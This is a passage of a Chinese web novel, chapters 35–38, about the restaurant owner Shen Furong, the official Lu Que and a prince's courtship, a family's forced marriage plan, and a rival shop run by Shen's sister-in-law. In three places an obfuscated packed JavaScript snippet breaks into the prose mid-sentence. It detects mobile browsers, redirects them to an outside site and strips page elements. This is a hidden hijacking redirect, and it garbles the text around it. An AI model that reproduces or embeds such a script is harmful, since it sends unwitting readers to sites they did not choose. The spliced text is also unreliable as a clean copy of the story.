这根本谈不上什么多精巧的工艺，多珍奇的料子。毫无风雅巧思，只将“贵重”二字诠释得淋漓尽致。 沈芙蕖敲了敲荷花旁边形态逼真的莲蓬，说道：“陆大人，这颗莲蓬可是实心的，光这颗莲蓬就能买下三个芙蓉盏了。” 胡闹！！！这是送礼还是下聘啊！ 陆却的脸色变了又变，又听沈芙蕖说：“陆大人，我知道赵清晏他家境优渥，不谙世事。再加上他年纪又小，大约对银钱没什么概念，所以给我送了这么份大礼。可我不能收啊。” 沈芙蕖的语气里带着几分无奈，却又透着不容商量的坚决。 “赵清晏差人送来的时候，我并不在场，也不知道店里哪些人瞧见了。若是消息不慎传了出去，或惹来些不轨之徒的觊觎，反倒成了祸端。所以，烦请陆大人代我还。” “……好吧。”陆却眉心一动，不知道这姑娘是真傻还是假傻，这么一大块金疙瘩送来，她当真没有半点体悟到赵清晏的心意？ 35. 第三十五章 乞巧节过后，汴京城中有两位女子的变化最为显著。 一位是程虞。从前是个咋咋呼呼的小姑娘，如今说话也轻声细语起来。 过去只知穿红着绿，如今却渐渐讲究起衣着打扮，今日敷粉，明日簪钗，那张蜡黄枯瘦的小脸也一日日润泽红润起来。 往来的食客都说，程虞自从进了芙蓉盏，简直像变了个人，越来越有掌柜风范。 沈芙蕖常常一面拨着算盘，一面笑眯眯瞧她哼着小曲儿忙碌。 另一位是陆府的千金陆惠善。只是她的变化，唯有贴身的侍女才能察觉。 金银堆里养大的姑娘，骄矜中总透着几分天真烂漫，可自打过了那场生辰宴，陆惠善的眼眸总是湿漉漉的。 有时撞见年长的仆妇，竟会莫名觉得不好意思，低头另择他路。 待四下无人，她又挺直腰背，微微扬起脸来，眉眼间依旧存着几分傲气。 她的话仍如往日一般多，只是这些话都成了对镜中的自语。她越发喜爱梳妆，执一柄犀角梳，从头顶缓缓梳至发尾。 侍女总夸赞，陆家上下没有一个人的发丝如她这般乌黑亮丽。 陆惠善听了，却不似从前那般欢喜，反倒不时发作脾气。这般反复几回，连陆却也有所耳闻。 夏日终于过去，到了八月，晨晚都有些凉意。这日早朝，陆却得了官家几句称赞，又赏下一筐南洋新贡的果子。 他瞧着新鲜，想起家中的小妹，便打算差人送去。 才走出皇城不远，就听见赵清晏鬼鬼祟祟的声音从身后传来：“表哥……表哥你理理我呀！” 一回头，正是赵清晏那张人畜无害的脸。 赵清晏住在皇城东南的崇教殿，白日里不是在资善堂听翰林院的夫子讲学，便是在琼林苑修习骑射。 陆却始终想不明白，东宫为他配了内侍十人、宫婢二十人，更有太子舍人四名随行，这般阵仗，怎还能让他溜出来四处闲逛？ “臣并非殿下表哥，请慎言。”陆却望着赵清晏灿烂的笑容，心头不由一沉。 他长得太像已故的淑妃了，尤其是笑起来的时候，每每令陆却觉得难受。 那难受仿佛指尖触到锐利的草叶，划开一道细口，隐隐作痛，久久不愈。 淑妃因生产时大出血而薨，想来正是为此，官家才对赵清晏格外怜惜，不仅早早立为太子，对他的诸多荒唐行径也多有纵容。 赵清晏拍了拍陆却的肩，说道：“我听下人说，是你把我送的礼抬回来了？你怎么这么爱管闲事。” “殿下，礼若送得不妥，反而会成为他人的负担。”陆却平静答道。 赵清晏睁大眼睛，诧异道：“谁会不喜欢金子？沈娘子为何要退给我？”一边说，手一边挽上了陆却的胳膊。 陆却实在不习惯这般亲近，伸手将他胳膊往下捋，见赵清晏死死拽着不放，只得无奈道：“您所赠的金荷花明显是宫内工艺，一旦流入市面，必会被衙门追查。若摆在店中，又易招来贼人窥伺。殿下，行事还请多一番思量。” 赵清晏慢慢收回手，像个做错事的孩子，低声道：“我只是想着她喜欢钱财，便投其所好……是我考虑不周了。” “殿下若没有其他事，臣先告退。”陆却说道。 赵清晏急忙拦住：“陆却，你别走！再陪我多说几句。你和他们都不一样，他们只会捧我、哄我、敬我、怕我，让我昏头转向。我就想，多与你相处，总是好的。你要去哪儿？” “自然是大理寺。”陆却打断他的念想，“眼下正值核查，东宫理应避嫌。” 赵清晏只好收起跟他同去的念头，瞥见他手中那筐果子，转而问道：“这倒稀奇，陆却，你也爱吃这些？” “带给家中小妹。” “哦……是惠善啊，多年不见，她也该长成大姑娘了吧。” “有劳殿下挂心，惠善与殿下实为同年所生。” 赵清晏轻笑：“真没想到，陆大人素来冷淡，对自家妹妹却如此体贴。罢了，你去吧！若有机会见到沈娘子，替我说一声，改日我再去拜访她。” 一提起沈芙蕖，陆却不由神色微凝，劝道：“殿下，再过一两年您便该迎娶太子妃了，还是与沈娘子保持些距离为好。” 赵清晏却笑着睨他：“为何要保持距离？我心悦她，将来自然是要迎入东宫的，做我的良娣。我早说过，她便是做太子妃，也绰绰有余。” 虽然从那束金荷花中隐约猜到了赵清晏的心思，但听他如此坦荡说出“心悦”二字，陆却仍是一阵莫名的烦躁。 “殿下，这事应该同礼部商议。”陆却顿了顿，没再提起“厨娘”的身份。 赵清晏笑嘻嘻道：“难道不是应该先问一下沈娘子可愿意？” 陆却突然想起，前段时间闹得轰轰烈烈的市坊编号之事，他还诧异，左右厢公事那些清闲官怎么主动揽下这等劳神费力的差事，现在想想，大约背后有赵清晏的手笔。 “殿下，臣并不关心她愿不愿意，只望殿下勿要以公谋私。”陆却语气转冷。 “为心仪之人做几件利国利民的事，算不上以公谋私。大人莫要参我一本哦。” 赵清晏语气里带着不谙世事的随意，踢着路上的小石子，“说到这，陆大人，孤倒是想起一件事来，前段时间闹得沸沸扬扬的汴河抛尸案，已经结案了？” 他行事向来不拘章法，不仅爱溜出宫闲逛，平日言谈也极随性，与亲近之人说话时常自称“我”，毫无储君架子。 此刻忽然改称“孤”，便是刻意划出了君臣之界。 “没有。”陆却简短回答。 “这个案子拖了半年之久，不是大人的风格。”赵清晏眨了眨眼睛。 陆却说：“等一个时机罢了。” 赵清晏淡淡一笑：“再等下去，陆家和韩家都要结亲了。” 陆惠善这几日怏怏不快，那一筐果子是陆却亲自送回府的，不过，她也只得到了陆夫人挑剩下几个。 往日若是得了御赐之物，陆惠善少不得要作几首谢恩诗，今日也是反常，一言不发，眼里噙着泪珠，格外楚楚可怜。 待陆却问起，她便突然从凳子上转过来，双手环着陆却的腰，脸也紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16247270|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧贴着他的腹部，眼泪流到了自己的胳膊上。 陆却心下觉得不妥，可从未见过惠善这般模样，一时也不知所措，只得由她抱着，一动不动。待她情绪稍定，才轻轻将她拉开。 “哥，我不想嫁给韩彦。”韩彦便是韩相的次子，为甄姨娘所出。 自那日生辰宴后，陆夫人与甄姨娘已私下说定，只待择个好日子，便上门提亲。 陆夫人大约也觉韩彦除却家世，并无什么值得称道之处，因而将这事对陆却瞒得严严实实。若非惠善今日主动开口，他仍要被蒙在鼓里。 韩彦是何等样人？骄奢淫逸、酒囊饭袋之徒，更兼色胆包天。这样的人，怎堪为配？ 陆却胸中隐隐生起一股怒意。自家门楣并不低微，何须借此攀附韩家？ 初秋的庭院已有几分萧瑟，陆却步履沉稳地穿过回廊，面上看不出情绪。 陆夫人正在窗前喝茶，见儿子来了，面露几分喜色。 可很快，她又笑不出来了，只听陆却说：“母亲，韩家提亲之事，为何无人告知于我？” 陆夫人儿子紧绷的面容，冷哼一声：“你好不容易回来一趟，不问问我的身子如何，只是说这个？你公务繁忙，这等内宅小事，何须劳你过问。” “母亲。”陆却声音平静，“韩家提亲之事，儿子以为不妥。” 陆夫人放下茶盏，语气不容置疑：“惠善若能与韩家结亲，于你、于陆家都是好事。” “婚姻大事，不能草率。韩彦品行不端，并非良配。” “年轻人不懂事，等成家立业了，自然就收心了。” 陆夫人抬眼看他，目光深远：“你如今在大理寺，虽有才干，却少人扶持。韩相在朝中一言九鼎，有他相助，你的仕途会顺畅许多。” 陆却沉默片刻，道：“可我不需以此等方式谋求出路。” “却儿。你应当明白，朝堂之上从不是单凭才干就能立足的。韩相肯点头这门亲事，已是给了天大的面子。” 见陆却仍是沉默不语，陆夫人气不打一出来，晓得他这是在做无声的反抗。 “我便实话跟你说吧，惠善不是你的亲妹妹。”陆夫人缓缓开口。 陆却怔在原地，一时未能明白这句话的意思。 “您说什么？” “惠善不是陆家的血脉。”陆夫人一字一句，清晰无比，“她是我从佃户家里抱来的孩子。” 陆却脑中嗡鸣，他下意识地反驳：“这不可能……父亲他……” “你父亲生前不知情。”陆夫人语气淡漠，仿佛在说一件寻常家事：“当年胡姨娘专房之宠，我不得已，将陪嫁丫鬟宝珠献与你父亲，后抬作妾室。谁料她十月怀胎，竟生下个死胎。” 陆夫人目光飘得很远，似在回忆那段遥远的过往：“那时你父亲正外放任职，庄子上有个佃户恰同时生了个女儿。我便让人偷偷将孩子抱来，充作宝珠所出。” 她转回头，看着儿子的眼睛：“宝珠没福气，产后血崩，没两日就去了。后来知道这件事的老仆都被我遣走了，这个秘密，没有几个人知道。” 36. 第三十六章 得知陆惠善的真实身世后，陆却并未对她有半分轻视，反而更生怜惜。 他始终认为，应当为惠善寻一个家世清白、品行端正、前途可期的良人，而非韩彦这般不堪之徒。 劝说之间，陆夫人并非毫无动摇。可一念及儿子再次违逆自己，她便觉得这早已不只是一桩婚事，更关乎为母的权威是否就此屈服。 于是，面对陆却一番晓之以理、动之以情的劝说，她只冷声道：“你终究并非她亲兄，不必过分操心。” 陆却静默片刻，轻声回道：“五年前，您也是这样说的。” 陆夫人猛地抬眼，情绪骤然激动：“我就知道！你至今还在怨我！怨我没让你娶那谢家姑娘！我是你娘啊，你怎能一次次为了外人与我离心？你可知我怀你时吃了多少苦……” 当年她怀陆却时，孕吐极凶，十月之间几乎食什么吐什么，人瘦得只剩一把骨头。生产时又遇胎位逆生，几乎赔上一条性命。 这件事，她说了二十多年。 这是她拼了命生下的独子，自小他的衣食起居她无一不亲自过问。 陆却八岁那年丈夫去世，她独自支撑家门，每遇艰难，便对着年幼的儿子哭诉自己的不易。 陆却那般近乎冷漠的克制，或许正源于此。长久面对歇斯底里的泪水与密不透风的掌控，麻木，不过是一种自我保护。只是她从来不愿承认罢了。 陆却忽然笑了。 那笑声很低，却又突兀异常，陆夫人的抽泣声便在这笑声里渐渐止住了。 对她而言，说哭就哭，如夏日天气般说变就变，原也是一种练就出来的本事。 “提点刑狱司家的谢云舒，本是你父亲生前定下的亲事。可我一开始便不同意！我不喜那女子，为人不知礼数，性情狂妄张扬，哪有半分贤良淑德的样子？她岂是你的良配？”陆夫人越说越激动，拍了桌子，茶水溅落在桌上。 陆却的声音很轻：“就因母亲不喜，所以谢家出事、她上门求救之时，您才吩咐门房一律回绝，置之不理？” “那日你受召入宫，与储君约了对弈，我如何敢求通传？她来时只莽撞地说要见你，我又从何得知她家中变故？” 陆夫人适时取出手帕拭泪，语带委屈：“儿啊，你怎能将这笔糊涂账记在为娘头上这么多年？不知者无罪啊……” “母亲。”陆却打断她，眼底是积年沉淀下的失望，“五年前您究竟做了什么，心里应当清楚。” 他不再纠缠旧事，仍将话头拉回原处：“惠善嫁入韩家，有百害而无一利。您若执意相逼，将来众叛亲离，勿谓言之不预。” 说罢转身欲走。 陆夫人慌忙起身追出：“我儿且慢！惠善年纪尚小，婚事……或可再议。可你已经二十有一，实在拖不得了！娘近日为你相中了一位……” 陆却侧身驻足，声音里听不出情绪：“这是条件么？” 陆夫人泪眼朦胧地低下头，没有应声。在她心中，什么惠善不惠善的，终究比不上儿子的婚事要紧。 待她再抬起头时，廊下已空无一人。 秋意渐浓，汴京的风里已渗入些许寒峭。 芙蓉盏二楼雅间，原本以炙烤羊肉串的浓香吸引了不少食客，烟火兴旺，热闹非常。 不料近日，有人租下斜对面那间原本经营绸缎的铺面，竟也明目张胆卖起羊肉串来，还挂出“雪腴轩”的招牌。 这一点沈芙蕖早有预料，她的生意火红，早就有人眼红，明里暗里打听着羊肉串腌料的配方。 沈芙蕖还想，若不是担心品控的问题，她收个连锁加盟店，也未尝不可。 只是沈芙蕖没想到，这开店的人这么蠢，竟然把店铺地址选在了芙蓉盏的斜对面。 新店开张之日，先是锣鼓喧天抬进一尊硕大财神塑像，于厅中大设香案，摆齐三牲供品，又特地请来汴京有些名望的乡绅题写匾额，以红绸覆之，只待吉时揭彩。 吉时到了，爆竹骤响，震耳欲聋，碎红纸屑铺满街石。锣鼓班子卖力吹打，引来里外三层街坊驻足围观。 “他们讲不讲道理？哪有食肆正对着开的？分明是冲着咱们来的！”阿虞气得直跺脚。 大双鼓着腮从外头跑进来，嚷道：“掌柜的！我和小双想去探个虚实，却被雪腴轩的堂倌认了出来，硬是不让我进！” 张澈自掏银钱从路人那儿买来一串，尝后道：“醃料方子仿得七八分像，味道虽不及我们，可价钱便宜。这家店一开，芙蓉盏的生意怕是要受影响。” 程虞再压不住心头火，径直冲过街去理论。却一眼瞥见掌柜身后立着的，竟是沈芙蕖的嫂嫂赵氏，顿时心下雪亮。 不过是眼红芙蕖生意兴旺，又欺她独自支撑门面，特来分一杯羹！ 两人当街对峙，一声高过一声，引得路人纷纷侧目。 程虞骂她心术不正、歹毒狠辣、专行下作之事。 赵氏双手叉腰，反唇相讥：“汴京城又不是她沈芙蕖开的，许她卖，就不许我卖？” 阿虞愈发生气，高声驳道：“你这等黑心肝的，能给客人用什么好肉？别是拿死羊病羊充数！” 赵氏嗓门更亮：“我们雪腴轩的掌柜娘子可是从樊楼请来的！手艺见识比她沈芙蕖这半路出家的强百倍！芙蓉盏卖得那么贵，我看，她才是心黑！” “我呸！”阿虞气得头脑发胀：“一分价钱一分货！论羊肉串，全汴京找不出第二家比我芙蓉盏更地道的！” 喧嚷声隐隐传进店里，沈芙蕖却只静静立于柜后。 她抬眼望向窗外，天色灰蒙，秋风卷着枯叶扫过街面，行人无不缩颈疾行。 “沈姐姐，那赵氏简直欺人太甚！我快气疯了！世上怎有如此厚颜无耻之人？！” 沈芙蕖忽然开口，声气平静，止住了刚冲回来的阿虞：“阿虞，不必同她争了。” 阿虞一愣，眼圈还红着：“可是沈姐姐，她连咱们的招牌都想抄了去！” “天愈发涼了，肉串便容易冷，肉一冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16247271|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，味就差了。她赌她这生意做不长久。” 沈芙蕖转身走向后厨，语气果断：“从明日起，我们不卖羊肉串了。” “那卖什么？”阿虞愕然。 沈芙蕖唇角轻扬，仿佛早已料定：“煮羊汤。热汤暖身，正是这个时节该吃的。” 次日，芙蓉盏二楼不再经营烤串，转而推出羊汤套餐，旧日烤架尽数换作炖炉。 套餐含素拼凉菜、凉拌毛豆，主菜为羊肉炉。肉质选蝎子骨与羊腩，炖至酥烂脱骨，汤色乳白，更添枸杞、当归、黄芪、红枣与陈皮调味。 先饮汤，再食肉，末了可涮些绿豆芽、白萝卜、海带苗等时蔬。 若觉清淡，亦能自至调料台，依口味调配蘸料。 自芙蓉盏推出羊肉汤锅以来，不过三五日功夫，生意便已火爆得超出了所有人的预料。 到了晚间，二楼雅座便已座无虚席。 一口口小泥炉簇着橙红色的火苗，上面煨着咕嘟冒泡的砂锅，乳白汤汁翻滚，蒸腾出肉香与药香的浓郁白汽，将整个厅堂笼罩得暖意融融，恍如早春。 这香气极是霸道，不仅彻底压过了斜对面雪腴轩单薄的烤串烟气，更似生了钩子，穿透秋风，牢牢攫住往来行人的脚步。 常见有衣着体面的食客搓着手踏进门来，一闻这味便喉头滚动，扬声道：“掌柜的，照旧来一锅蝎子骨，再单独来二两羊肉！” 也有结伴而来的女眷，小口啜饮着汤水，额角渗出细汗，颊边泛起红晕，浑不觉窗外秋寒。 堂倌们穿梭于桌席之间，撤下空盘，又端上盛满鲜切羊肉、水灵青菜的攒盒，嗓音嘹亮地报着菜名。 后厨更是热火朝天。数口大汤锅日夜不息地熬煮，沈芙蕖亲自守着最核心的那锅老汤，把控着火候与投料的次序。 常有熟客吃得尽兴，临走前特意寻到沈芙蕖：“沈掌柜，这汤食之通体舒泰，夜里手脚都暖和了。明日我携一家再来，千万给我留个雅间！” 生意虽忙，进项却丰，店中一众伙计也跟着宽裕起来。 沈芙蕖向来大方，店里的羊肉锅子，伙计们也能时常分尝。不过一段时日，个个都被滋养得面色红润、身形丰实，干起活来自然也格外有劲头。 吃得香甜，工钱又足，芙蓉盏的伙计们终日眉眼带笑。即便偶遇客人刁难，也总是笑脸相迎、耐心周旋。 久而久之，店中周到体贴的服务，竟也成了街坊食客有口皆碑的一桩美谈。 至于斜对面那家的生意，沈芙蕖早已不放在心上。 今年芙蓉盏卖羊汤，明年未尝不可改卖暖锅。她自有本事岁岁推陈出新，不怕旁人效仿。纵使被抄了去，又何妨？ 只是这日，沈芙蕖拉开抽屉，望着里头叠得整齐的一张张交子，却不免生出些甜蜜的烦恼，食客越来越多，这店面，是不是又该换个更宽敞的了？ 然而念头一转，她眸光又微微一黯，若此时挪店扩张，欠陆却的那笔钱，怕是又要晚上些时日才能还了。 37. 第三十七章 羊肉汤锅的成功与斜对面雪腴轩羊肉串生意的惨淡，始终在沈芙蕖意料之中。 唯独令她有些无奈的，是脾气一点就着的程虞。这姑娘时常忍不住冲去与雪腴轩争执，屡屡当街吵闹，引得路人纷纷侧目指点。 “快看，嫂嫂和小姑子对门开店，还天天吵嘴，真是稀奇！” 可这事倒也怨不得程虞冲动，实在是沈芙蕖那位嫂嫂赵氏做事太过难堪。 赵氏作为雪腴轩的大股东，并不常来店中。可每回来，必得做几件膈应人的事。 因雪腴轩地势略高，她故意将涮洗羊肉的腥膻污水往外泼洒，血污混着浊水径直淌到芙蓉盏门前，过路人无不掩鼻疾走。 又或者，她索性倚门磕着瓜子，专拣些沈芙蕖幼年时的糗事大肆宣扬。就连沈芙蕖初次来葵水不慎脏了衣裤的少女私事，也要高声说与路人当作笑谈。 不仅如此，她还雇人假装食客，在芙蓉盏的饭菜中放入早已准备好的苍蝇、头发，然后当众大发雷霆，嚷嚷店家黑心，要求巨额赔偿，破坏芙蓉盏的声誉。 这种人是谁派来的，大家心知肚明，大小双懒得废话，提着对方衣领就扔了出去。 此时，赵氏已是恼羞成怒。每见程虞簪花打扮稍显鲜亮，她便嗤之以鼻，讥其意图勾引食客，妄想麻雀飞上枝头变凤凰。 若瞧见张澈衣着简朴不尚奢华，她又冷言冷语，讽其家徒四壁、一贫如洗，直言“便是个小贼摸进门去，怕也得空手出来”。 这段时间，沈芙蕖忙于考察食材供应，早出晚归，并未亲耳听闻多少污言秽语。 可程虞却一次次火冒三丈，常常撸起袖子就冲上去扯赵氏的头发，凶悍迅捷得像一头被惹恼的小狮子。 赵氏何尝不知，雪腴轩已连续亏了两个月。若及时转租铺面，或调整经营，未必没有转机。 可她原本就憋着一口恶气，如今又见芙蓉盏的伙计如此护主，更是铁了心，即便不赚钱，也定要死死拖着，非要恶心透芙蓉盏不可。 对于沈芙蕖的视而不见，程虞也颇有微词，每当受了委屈，她总是第一个冲上前去讨伐赵氏，还因此挂了彩，她不奢求沈芙蕖感恩戴德，最起码要同仇敌忾吧。 沈芙蕖只是说，当解决不了矛盾时，就激化矛盾，也许会有意想不到的收获。 一个清晰而冷静的计划在她心中迅速成型。 接下来的几日，沈芙蕖并未立刻发作，还是和往常一样忍气吞声。 她暗中吩咐下去，让心思最缜密的张澈，不动声色地记录下赵氏泼洒污水的规律，每日巳时初、酉时正各一次，雷打不动。 污水量大约两桶，自雪腴轩门口的高处泼下，因芙蓉盏地势稍低，污水自然向南蔓延，但主要汇聚在芙蓉盏门前。 雪腴轩的位置原来开着李记绸缎铺，生意一直不温不火，也还算过得去。 直到草市坊来了个“云锦记”绸缎庄，店内无论是色泽还是花样，都比原来的李记吸引人，把李记的生意被抢光了，不得已把店铺转让出去，这才给了赵氏机会。 “云锦记”的李掌柜最是讲究，店门口寸土寸金，容不得半点污秽。 再往隔壁数，“墨香斋”书画铺的老先生三代守着祖宅，清高爱静，平时最讨厌喧闹与腌臜，有时芙蓉盏的队排到他门口，他少不得要拄着拐杖出来骂人。沈芙蕖为了跟他打点好关系，还得经常往店里送点点心。 还有邻街新开的茶肆，店主是个极重风雅的年轻士人，看起来也是个讲卫生的。 雪腴轩的地势最高，芙蓉盏次之，而云锦记、墨香斋、茶肆的地势又比芙蓉盏更低一些。 时机很快到来。 冬至前两日，一场冷雨不期而至，虽不大，却足以将街道浇得湿滑泥泞。巳时将近，雨势渐歇，但路面低洼处已积起浑浊的水坑。 沈芙蕖站在窗后，对张澈点头。 张澈会意，趁着街上人少，拎起一筐昨日烧剩的煤渣，装作清理地面，自然地走到店外一侧的排水浅沟处。 他左右看看无人注意，手脚麻利地将几块砖头和煤渣巧妙地垒在沟渠的一处拐角，稍稍改变了其原有的流向。 巳时正，雪腴轩的门“吱呀”一声开了。赵氏亲自拎着满满一桶腥膻的血污水，一如既往，看也不看，奋力向外一泼。 浑浊不堪、带着碎肉残渣和异味的污水，哗啦一声倾泻而下。按照以往，它们会顺着原有的沟渠，主要流向芙蓉盏门前。 但今天，因那几块砖煤的阻挡，水流猛地撞上障碍，顿时改了道，如同决堤的洪水，猛地向地势更低的东南方涌去，流向云锦记绸缎庄和墨香斋书画铺擦得光可鉴人的门前台阶。 污水肆意横流，瞬间浸染了云锦记门口那块昂贵的提花地毯，脏污的痕迹迅速蔓延，散发出令人作呕的腥臭。 墨香斋门前精心摆放的几盆兰草也被溅得泥点斑斑，污浊的泥水甚至漫过了门槛，流进了店内。 “哎呀！天杀的！这是哪个缺德带冒烟的干的！”云锦记的秦掌柜最先发现，尖叫着冲出来，看到心爱的地毯被毁，气得几乎晕厥。 墨香斋的老先生也闻声出来，一见门前狼藉和店内水迹，顿时捶胸顿足：“岂有此理！岂有此理！” 赵氏在门口也愣了一下，没料到水会往那边流，但随即叉起腰，不仅毫无愧意，反而扬声笑道：“哎哟，对不住了啊二位！这地太滑，没留神！这水又没长眼，劳烦您二位自己收拾收拾吧！” 她这话无异于火上浇油。 平时雪腴轩和芙蓉盏多有龃龉，旁边的店铺都带着多一事不如少一事的心理，毕竟都知道赵氏难缠，谁敢惹她？ 今日可不行，这脏水都泼到他们店里来了！ 沈芙蕖看准时机，从店内款步走出。她先是看了一眼自家门前，自然也溅到了一些，但远比那两家要轻。 她走到气得脸色发白的秦掌柜身边，面露无奈与同情，轻声道：“秦掌柜莫要动气，伤了身子不值当。我们这也是……日日如此，苦不堪言。” 她叹了口气，目光瞥向雪腴轩的方向，声音不大，却足以让周围越聚越多的街坊和另外几位受害的店主听清：“劝了多次了，说这水又没往我们店里泼，他们爱往哪倒往哪倒。我们地势低，怎么说都没用。今日这雨后的积水，更是……唉。” “还日日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16260319|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此？”秦掌柜吹胡子瞪眼道：“这还了得！我这可是上好的苏锦缎子！沾了这腥臭还能卖吗？赔我钱！” 赵氏这下坐不住了，梗着脖子道：“不就是一张破地毯，我赔你就是！” 墨香斋的老先生气得要用拐杖打赵氏，怒声呵道：“我这兰草花怎么说？一盆就要五贯钱，我就等着今年开花！” 赵氏便不乐意了：“你那盆兰草，后山上长满了，也好意思要五贯钱？你讹我呢？” 茶肆掌柜的探出头来，他早就看不惯赵氏的所作所为：“我说你给自己积点德吧，天天往地上倒脏水……早知道遇到你这种邻居，我就不租这里了……什么人啊这是……” 赵氏冷笑一声：“你不租就不租，谁求你了？就你那破茶馆，三天进不来一个客人，你有这与我争论的功夫，还不如站在这多多揽客呢。” 茶肆掌柜的脸一阵青一阵白，指着她半天说不出来话，最后憋了一句“好男不跟女斗！” 沈芙蕖见状，温声道：“诸位掌柜息怒。我等在此经商，求的是个和气生财，门前洁净便是脸面。如今这般景象，吓走了客人，坏了所有人生意。单凭一家去说，只怕人微言轻，难见成效。” 她略作停顿，目光扫过众人，提出了致命一击的建议：“雪腴轩此举，已是妨害街衢、污秽道路。不若我们几家联名写个状子，将这几日情形、损失一一列明，一同去寻厢官老爷做主如何？总不能由着一家胡来，坏了整条街的营生。” 这话立刻得到了所有人的响应。谁家愿意天天门口流着脏水？尤其是今日切身利益受损的几家，更是义愤填膺。 秦掌柜一把夺过张澈递上的纸笔：“我来写！这状子我亲自去递！简直无法无天！” 赵氏插腰叫嚣道：“沈芙蕖，你上次不也去告老娘了嘛！告赢了嘛？老娘就不信了，在自家店门口倒点水，还能被抓进去？” 阿虞跳起来指着她骂：“你这个贱女人要不要脸啊！你倒的是水吗？！！你自己闻闻那水的味道有多腥多臭，不知道的以为从你肚子里流出来的坏水呢！要不我舀两瓢给你尝尝！” 赵氏也一蹦三尺高，众人说一句，她回三句，一句比一句脏，骂到最后都词穷了。 原本没有被殃及到的铺子都忍不住加入进来，纷纷指责赵氏无理取闹。 “好哇！沈芙蕖，你厉害！联合这么多人一起欺负我一个妇人！大家都来看啊，这么多人欺负我一个弱女子……”赵氏见讨伐她的人越来越多，索性往地上一躺，撒泼打滚起来。 “告！我们一起告！我活了大半辈子，从来没有见过这种人。” “带我一个，这人脑子不好吧，留这种毒妇在这里开店，整条街都会被她祸害了。” “滚出草市坊！” “对！滚出草市坊！” 一场针对赵氏的联合讨伐，就这样在沈芙蕖看似无奈、实则精准的引导下，迅速形成。 第二天，以云锦记秦掌柜为首，墨香斋、清韵坊茶肆等五六家店铺联名状告雪腴轩“屡次泼洒污物，妨害街衢卫生，有损市容，惊扰顾客，致各家蒙受损失”的状纸，便被递到了管理本片区的厢官案头。 38. 第三十八章 人证物证俱在，众口一词，且涉及多家商户。厢官极为重视，立刻派衙役查证。 事实清楚，证据确凿，雪腴轩门口污渍斑斑，沟渠恶臭难闻，与其他店铺整洁的门面形成鲜明对比。 官府很快下了判罚：严厉训诫雪腴轩赵氏，罚银二十贯，并勒令其立即整改，若再犯，则封店拘人。 衙役上门执行判罚的那天，整条街的掌柜伙计几乎都出来看热闹。 赵氏唯唯诺诺接过罚单，在众人讥诮的目光中，几乎抬不起头。 然而罚款交了，赵氏对沈芙蕖的怨念更深了。 她坐在空荡荡的堂内，胸口剧烈起伏，羞愤和怨恨像毒藤一样缠绕着她的心。 她不敢再明着泼污水、骂街，但那口恶气却憋得她几乎发疯。 “沈芙蕖……好你个沈芙蕖！竟敢联合外人来作践我！让我丢这么大脸！”她咬牙切齿。 硬碰硬是不行了，那贱蹄子如今得了势，还会耍阴招。但赵氏绝不甘心就这么算了，她突然想起了自己的女儿静柔。 赵氏与沈玉裁的独女沈静柔，今年才九岁，被娇惯得性子骄纵，但没什么心眼，最是听赵氏的话。 年纪小，做些事比大人更方便，也更容易让人放松警惕。 赵氏一把拉过女儿，脸上挤出一种混杂着委屈和愤怒的神情：“静柔，我的儿，你瞧瞧，你娘都快被你小姑欺负死了！她害咱家赔了那么多银子，还让整条街的人都看咱们笑话！这口气，娘实在咽不下！” 沈静柔平时没少被母亲挑拨，见母亲落泪，自己也跟着气愤起来：“娘，小姑太可恶了！我们该怎么办？” 赵氏低声说：“明的不行，咱们就来暗的。她沈芙蕖不就依仗着一个芙蓉盏吗？咱们就从这上头给她添点堵！我要让她身败名裂！静柔，你年纪小，去她店里转转，没人会防着你。你只需……” 天越来越凉，亮得越来越晚，阿虞早起开门的时候，已经有些冻手。 这日，芙蓉盏的马匹在送货途中擦破了一块皮，这让沈芙蕖心疼不已，天不亮就牵着马儿去了马场。 程虞第一个到了芙蓉盏，刚把门打开，就看见门口的石阶上坐着个小人。 她一边梳着头一边走近。 是一个约莫八九岁、穿着锦缎小袄、梳着双丫髻的小姑娘，眼圈通红，正小声啜泣着。 这大清早的，怎么会有个孩子？莫非是和家里走散了？ 程虞心下诧异，但还是走上前，蹲下身柔声问道：“小姑娘，你怎么一个人在这儿？你家里人呢？” 沈静柔抬起泪汪汪的眼睛，抽噎着说：“我……我和我娘走散了……找不到回家的路了……” 她记得母亲严厉的叮嘱，要装得越可怜越好。 程虞仔细一问，这小姑娘家是羊庄的，羊庄离汴京城不过半天的脚程，是个专门饲养羊群的庄子，小姑娘跟着家人来赶早集卖羊，这才不小心走散了。 “昨天我和阿娘在这里吃了面……我不认识其他地方，只能找回这里。” 程虞心想，这小姑娘还挺聪明，知道不能乱跑。 